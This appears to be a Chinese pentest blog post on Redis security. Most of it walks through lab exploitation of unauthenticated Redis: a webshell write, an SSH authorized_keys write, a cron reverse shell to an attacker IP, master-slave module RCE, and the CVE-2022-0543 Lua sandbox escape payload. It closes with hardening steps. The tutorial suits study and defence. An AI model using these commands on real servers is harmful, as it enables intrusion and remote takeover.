redis系列安全问题整理

redis相关

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string、list、set、zset和hash。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接

Redis基本操作

1
2
3
4
5
1.使用SETGET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,setSET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello World"

ReRedis配置文件参数

port参数

1
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数

1
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.10010.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数

1
2
3
4
5
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数

1
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数

1
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数

1
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令

1
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数

1
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no

redis漏洞利用原理

Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照
  • AOF 持久化记录服务器执行的所有写操作命令.

经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

  • RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

redis 未授权访问漏洞

其实最关键的便是未授权可以访问redis导致一系列漏洞单独整理一篇redis相关的未授权访问漏洞的利用,还是有比较多的利用方式

漏洞编号:cnvd_2015_07557

漏洞简介以及危害

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

环境搭建

直接用在线靶场也是可以的

1
2
3
4
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译

1
2
3
4
5
6
cd src/ #进入src目录 
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

漏洞验证

为了方便,在windows攻击机里下载一个redis clinet

下载地址:https://github.com/caoxinyu/RedisClient/releases (利用redis写webshell测试使用)

使用redis clinet 直接无账号成功登录redis,从登录结果可以看出redis未启用认证。

直接写shell

未授权验证成功,可以直接往里写webshell

1
2
3
利用前提:
靶机redis未授权,在攻击机能用redis clinet连接,如上图,并未登录验证
靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

这里我们调出Console,用来执行命令

我们这里因为是本地搭建,靶机网站路径:/var/www/html/,将shell写在这个目录下即可

1
2
3
4
config set dir /var/www/html
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save

执行完之后去靶机查看目录下,成功写入webshell

后续后渗透这里就不再继续下去了,这里同样也可以直接反弹shell

写 ssh-keygen 公钥登录服务器

靶机开启redis服务,我这里靶机(redis服务端)为192.168.158.143,是一台kali

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

(2)客户端发起登录请求,发送自己的相关信息;

(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

条件:

Redis服务使用ROOT账号启动

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

在攻击机本地生成公钥文件,为我们的公钥文件设置一个私钥

公钥文件默认路径:/root/.ssh/id_rsa.pub

1
2
3
4
ssh-keygen -t rsa
cd /root/.ssh
ls
cat id_rsa.pub

将生成的公钥也就是id_rsa.pub写入ket.txt

1
2
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

然后通过未授权访问目标机器,将保存ssh的公钥1.txt写入redis缓存(使用redis-cli -h ip命令连接靶机,将文件写入):

1
cat /root/.ssh/key.txt |redis-cli -h 192.168.158.143 -x set pub

然后执行下列命令:

1
2
3
4
redis-cli -h 192.168.158.143
config set dir /root/.ssh #将文件写入这个目录
config set dbfilename authorized_keys #保存文件名为authorized_keys
save

去靶机root/.ssh/目录下可以看到成功写入authorized_keys,

利用公钥进行SSH登录攻击机,第一次需要输入yes

利用crontab计划任务反弹shell

cron介绍
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

注意:
在不同系统中,root的位置是不一样的
在kali和ubuntu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。

攻击机监听端口:

连接redis,写入反弹shell,也可以跟上方一样在console执行,注意kali和centos的定时任务路径不同即可

1
2
3
4
5
redis-cli.exe -h 192.168.158.141
config set dir /var/spool/cron/crontabs
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.158.143/9999 0>&1\n\n\n"
config set dbfilename root
save

过一分钟左右监听就能收到shell了

nmap检测

如果你的redis-info模块没法用,更新一下nmap可能会有用

1
2
nmap -p 6379 --script redis-info 192.168.158.143
地址:https://svn.nmap.org/nmap/scripts/redis-info.nse

redis未授权访问(主从复制)

本质也是未授权访问,但是因为只存在于4.x、5.x版本中,所以单独写出来

Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

漏洞编号:cnvd_2019_21763

原理:

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

条件:

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)

redis弱密码或者无密码

root启动redis

原理倒是很简单也很易懂,整个还是建立在redis未授权基础上的漏洞

环境搭建

因为之前服务端我搭建的是2.x版本的,要重新搭建,直接用现成的靶场也可以,我这里就再搭建一个4.x版本的redis,毕竟搭建redis不是那么麻烦的

https://vulfocus.cn/

1
2
3
4
5
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxf redis-4.0.10.tar.gz #解压
cd redis-4.0.10 #进入解压的文件夹内
make
make install #编译

切换个版本就好,把之前2.x版本的东西覆盖一下,注意这里要将配置文件中的bind参数改为0.0.0.0或者注释掉,并且修改protected-mode为no允许外连

漏洞验证

下载漏洞利用工具,也有一个整体的利用项目:https://github.com/n0b0dyCN/redis-rogue-server

我这里是用了另一个佬的脚本

1
2
3
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so

下载利用脚本并运行

1
2
3
git clone https://github.com/Ridter/redis-rce.git
pip install -r requirements.txt #安装所需依赖
python redis-rce.py -r 192.168.158.143 -p 6379 -L 192.168.158.141 -f exp.so #这个exp就是上面生成的module.so

漏洞修复

本质上还是因为未授权访问导致的命令执行漏洞

Redis Lua沙盒绕过命令执行

也是建立在未授权访问的基础上产生的该漏洞

漏洞描述及影响范围

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令;要利用此漏洞,攻击者需具有执行 eval 命令的权限(攻击者经过认证、或者 Redis 本身未设置鉴权检查)

只影响运行在 Debian 系的 Linux 发行版系统(Debian、Ubuntu 等)上的 Redis 服务,其他系统上的 Redis 服务不受影响。

漏洞编号:CVE-2022-0543

环境搭建

通俗点来讲就是借助Lua沙箱中遗留的这个对象提供的方法加载动态链接库liblua里的函数,逃逸沙箱执行任意命令

vulfocus在线靶场、vulhub或者自己搭建redis

https://vulfocus.cn/

漏洞验证

1
2
#连接redis
redis-cli -h ip地址 -p 端口号

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

1
2
#获取id
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

这里是在线靶场,直接在对应目录下找flag即可

1
2
#执行命令ls /tmp获取flag
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

修复措施

目前官方已有安全版本,请受影响的用户尽快升级至安全版本进行防护,参考链接:#1005787 - redis: CVE-2022-0543 - Debian Bug report logs。

安全版本:

1
2
3
4
5
6
7
8
Debian Redis:
5:5.0.14-1+deb10u2
5:6.0.16-1+deb11u2
5:6.0.16-2

Ubuntu Redis:
5:6.0.15-1ubuntu0.1
5:5.0.7-2ubuntu0.1

Windows下如何getshell

1
2
3
写入webshell,需要知道web路径
写入启动项,需要目标服务器重启
写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

批量检测未授权redis脚本

https://github.com/Ridter/hackredis

修复方式及加固

1、禁止一些高危命令(重启redis才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址
1
2
3
4
5
rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称
1
2
3
4
5
rename-command FLUSHALL "name1"

rename-command CONFIG "name2"

rename-command EVAL "name3"

2、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

1
groupadd -r redis && useradd -r -g redis redis

3、为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

1
2
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

4、禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

1
bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。

5、修改默认端口

修改配置文件redis.conf文件

1
Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
1
chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1
chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
1
chattr +i ~/.ssh

7、设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。


redis系列安全问题整理
http://example.com/2025/09/04/redis系列漏洞整理/
作者
Winter
发布于
2025年9月4日
许可协议